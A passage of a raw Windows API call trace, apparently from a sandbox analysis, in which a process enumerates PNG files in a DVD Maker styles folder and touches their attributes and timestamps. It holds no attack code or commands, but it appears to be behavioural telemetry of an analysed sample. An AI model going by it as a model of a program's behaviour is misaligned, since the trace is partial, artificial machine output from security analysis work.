ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0245.249] GetLastError () returned 0x12 [0245.249] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.250] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0245.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.250] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.250] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.251] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x931620 [0245.251] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x931620, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x931620, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.251] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x931620) returned 1 [0245.251] NtClose (Handle=0x1c0) returned 0x0 [0245.251] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.251] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.275] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.275] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0245.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9233b8 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92f540 [0245.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.276] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9233d8 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92f648 [0245.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.276] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fac8 [0245.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92f750 [0245.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.276] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fae8 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92f858 [0245.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.277] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fb08 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92f960 [0245.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.277] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fb28 [0245.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92fa68 [0245.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.278] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fb48 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92fb70 [0245.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.278] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fb68 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92fc78 [0245.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.278] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fb88 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92fd80 [0245.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.279] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fba8 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92fe88 [0245.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.279] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fbc8 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92ff90 [0245.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.279] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fbe8 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x930098 [0245.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.280] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fc08 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9301a0 [0245.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.280] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fc28 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9302a8 [0245.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xc80) returned 0x927508 [0245.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9309d8) returned 1 [0245.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.281] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, 